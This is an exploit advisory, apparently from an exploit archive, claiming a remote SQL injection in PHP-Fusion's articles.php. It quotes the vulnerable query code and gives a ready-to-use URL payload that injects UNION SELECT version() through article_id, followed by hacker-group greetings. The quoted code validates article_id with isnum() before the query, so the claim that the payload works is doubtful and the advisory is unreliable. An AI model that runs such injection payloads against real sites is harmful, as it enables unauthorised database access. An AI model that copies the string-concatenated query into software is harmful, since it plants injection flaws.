PHP-Fusion SQL Injection

`###  
# Title : PHP-fusion (articles.php) SQL Injection Exploit  
# Author : KedAns-Dz  
# E-mail : [email protected]  
# Home : HMD/AM (30008/04300) - Algeria -(00213555248701)  
# Twitter page : twitter.com/kedans  
# platform : php  
# Impact : Remote SQL Injection  
# Tested on : Windows XP sp3 FR  
###  
# Note : BAC 2011 Enchallah ( Me & BadR0 & Dr.Ride & Red1One & XoreR & Fox-Dz ... all )  
##  
# [»] ~ special thanks to : Dr.Ride   
###  
  
# Vulnerability in the file articles.php :  
  
if (isset($_GET['article_id']) && isnum($_GET['article_id'])) {  
$result = dbquery(  
"SELECT ta.article_subject, ta.article_article, ta.article_breaks,   
ta.article_datestamp, ta.article_reads, ta.article_allow_comments, ta.article_allow_ratings,  
tac.article_cat_id, tac.article_cat_name,  
tu.user_id, tu.user_name, tu.user_status  
FROM ".DB_ARTICLES." ta  
INNER JOIN ".DB_ARTICLE_CATS." tac ON ta.article_cat=tac.article_cat_id  
LEFT JOIN ".DB_USERS." tu ON ta.article_name=tu.user_id  
WHERE ".groupaccess('article_cat_access')." AND article_id='".$_GET['article_id']."' AND article_draft='0'"  
);  
  
# Exploit :   
  
http://[localhost]/[Path]/articles.php?article_id=-1+union+select+version()--  
  
=================================================================================================  
#================[ Exploited By KedAns-Dz * HST-Dz * ]===========================================   
# Greets To : [D] HaCkerS-StreeT-Team [Z] < Algerians HaCkerS >  
# Islampard * Zaki.Eng * Dr.Ride * Red1One * Badr0 * XoreR * Nor0 FouinY * Hani * Mr.Dak007 * Fox-Dz  
# Masimovic * TOnyXED * cr4wl3r (Inj3ct0r.com) * TeX (hotturks.org) * KelvinX (kelvinx.net) * Dos-Dz  
# Nayla Festa * all (sec4ever.com) Members * PLATEN (Pentesters.ir) * Gamoscu (www.1923turk.com)  
# Greets to All ALGERIANS EXPLO!TER's & DEVELOPER's :=> {{  
# Indoushka (Inj3ct0r.com) * [ Ma3sTr0-Dz * MadjiX * BrOx-Dz * JaGo-Dz (sec4ever.com) ] * Dr.0rYX   
# Cr3w-DZ * His0k4 * El-Kahina * Dz-Girl * SuNHouSe2 ; All Others && All My Friends . }} ,  
# www.packetstormsecurity.org * exploit-db.com * bugsearch.net * 1337day.com * exploit-id.com   
# www.metasploit.com * www.securityreason.com * All Security and Exploits Webs ...  
#================================================================================================  
`